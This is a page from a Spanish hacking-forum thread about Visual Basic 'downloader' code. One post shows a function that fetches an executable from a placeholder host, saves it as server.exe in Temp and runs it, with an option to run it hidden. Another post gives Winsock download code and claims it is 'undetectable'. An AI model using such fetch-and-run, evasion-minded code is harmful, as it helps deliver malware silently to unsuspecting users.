elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Entrar al Canal Oficial Telegram de elhacker.net


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  [Source] Downloader sin API's sin DLL's sin OCX's... solo una Función!
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: 1 [2] Ir Abajo Respuesta Imprimir
Autor Tema: [Source] Downloader sin API's sin DLL's sin OCX's... solo una Función!  (Leído 6,374 veces)
satan69


Desconectado Desconectado

Mensajes: 341



Ver Perfil
Re: [Source] Downloader sin API's sin DLL's sin OCX's... solo una Función!
« Respuesta #10 en: 22 Mayo 2007, 05:12 am »

y en que carpeta lo guarda.. por ejemplo..



En línea

Mad Antrax
Colaborador
***
Desconectado Desconectado

Mensajes: 2.164


Cheats y Trainers para todos!


Ver Perfil WWW
Re: [Source] Downloader sin API's sin DLL's sin OCX's... solo una Función!
« Respuesta #11 en: 22 Mayo 2007, 09:23 am »

y en que carpeta lo guarda.. por ejemplo..

Pues es fácil... este código captura las carpetas que hay dentro de las variables globales del sistema: windir, systemroot, homedrive, userprofile, tmp, etc...

Esta explicado en los parámetros de la función:

Código:
DownloadFile(ByVal URL As String, ByVal SaveName As String, Optional SavePath As String = "TMP", Optional RunAfterDownload As Boolean = True, Optional RunHide As Boolean = False)

DownloadFile "http://www.server.com/a.exe", "server.exe"

Esta función me gusrda el archivo en C:\DOCUME~1\USUARI~1\CONFIG~1\Temp\server.exe. Lo ejecuta de forma visible.

Luego juega tu mismo con los demás parámetros de la función DownloadFile.

Saludos!!


En línea

No hago hacks/cheats para juegos Online.
Tampoco ayudo a nadie a realizar hacks/cheats para juegos Online.
‭‭‭‭jackl007


Desconectado Desconectado

Mensajes: 1.403


[UserRPL]


Ver Perfil WWW
Re: [Source] Downloader sin API's sin DLL's sin OCX's... solo una Función!
« Respuesta #12 en: 4 Junio 2007, 04:22 am »

Aqui dejo otro:


Código:
'***************************************************************************
'Ejemplo de como descargar un archivo de internet usando el control Winsock
'***************************************************************************
'Copyright 2003-2004 SMG Software.
'***************************************************************************
Dim Data As String
Dim BytesAlreadySent As Single
Dim FILEPATHNAME
Dim Est As String
Private Sub Command1_Click()
BytesAlreadySent = 1
If Text1.Text = "" Then Exit Sub
strURL = Text1.Text
Dim Pos%, LENGTH%, NextPos%, LENGTH2%, POS2%, POS3%
    Pos = InStr(strURL, "://")
    LENGTH2 = Len("://")
    LENGTH = Len(strURL)
    If InStr(strURL, "://") Then
    strURL = Right(strURL, LENGTH - LENGTH2 - Pos + 1)
    End If
    If InStr(strURL, "/") Then
    POS2 = InStr(strURL, "/")
    Dim StrFile$: StrFile = strURL
    Do Until InStr(StrFile, "/") = 0
    LENGTH2 = Len(StrFile)
    POS3 = InStr(StrFile, "/")
    StrFile = Right(strURL, LENGTH2 - POS3)
    StrFile = Right(strURL, LENGTH2 - POS3)
    Loop
    FileName = StrFile
    strURL = Left(strURL, POS2 - 1)
    End If
Winsock.Connect strURL, 80
FILEPATHNAME = "C:\" & FileName
End Sub
Private Sub Command3_Click()
If Winsock.State >= 1 Then
Winsock.Close
Data = ""
BytesAlreadySent = 1
End If
Est = "1"

End Sub
Private Sub ExitMNU_Click()
If Winsock.State > 0 Then
Winsock.Close
End If
End
End Sub

Private Sub Form_Load()
Est = "1"
End Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
If Winsock.State > 1 Then
Winsock.Close
End If


End Sub
Private Sub Form_Unload(Cancel As Integer)
If Winsock.State > 1 Then
Winsock.Close
End If
End Sub

Private Sub HeaderTXT_Change()

End Sub

Private Sub Label2_Click()

End Sub

Private Sub Winsock_Close()

If Est = "1" Then
MsgBox "Completado - Descargado en C"
Est = "2"
End If

End Sub

Private Sub Winsock_Connect()
On Error Resume Next
Dim strCommand As String
strCommand = "GET " + Text1.Text + " HTTP/1.0" + vbCrLf
strCommand = strCommand + "Accept: *.*, */*" + vbCrLf
strCommand = strCommand + "Referer: " & strURL & vbCrLf
strCommand = strCommand + vbCrLf
Winsock.SendData strCommand
End Sub

Private Sub Winsock_DataArrival(ByVal bytesTotal As Long)

    Winsock.GetData Data, vbString

If InStr(Data, "Content-Type:") Then

   
    Dim Pos%, LENGTH%, HEAD$
    Pos = InStr(Data, vbCrLf & vbCrLf)
    LENGTH = Len(Data)
    HEAD = Left(Data, Pos - 1)
    Data = Right(Data, LENGTH - Pos - 3)
End If

        Open FILEPATHNAME For Binary Access Write As #1
        Put #1, BytesAlreadySent, Data
        BytesAlreadySent = Seek(1)
        Close #1



End Sub


el command1 es descargar y el command2 es detener. y colocan text de la url.
...
funciona muy bien y es 100% indetectable...
espero q les sirva
En línea

Páginas: 1 [2] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[SOURCE] Letras3D7913 Funcion que crea letras 3D Flasheras
Programación Visual Basic
79137913 1 2,624 Último mensaje 26 Mayo 2011, 02:06 am
por Edu
[SOURCE] mrtzcmp3 Downloader « 1 2 »
.NET (C#, VB.NET, ASP)
z3nth10n 13 7,558 Último mensaje 8 Febrero 2014, 21:02 pm
por Eleкtro
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines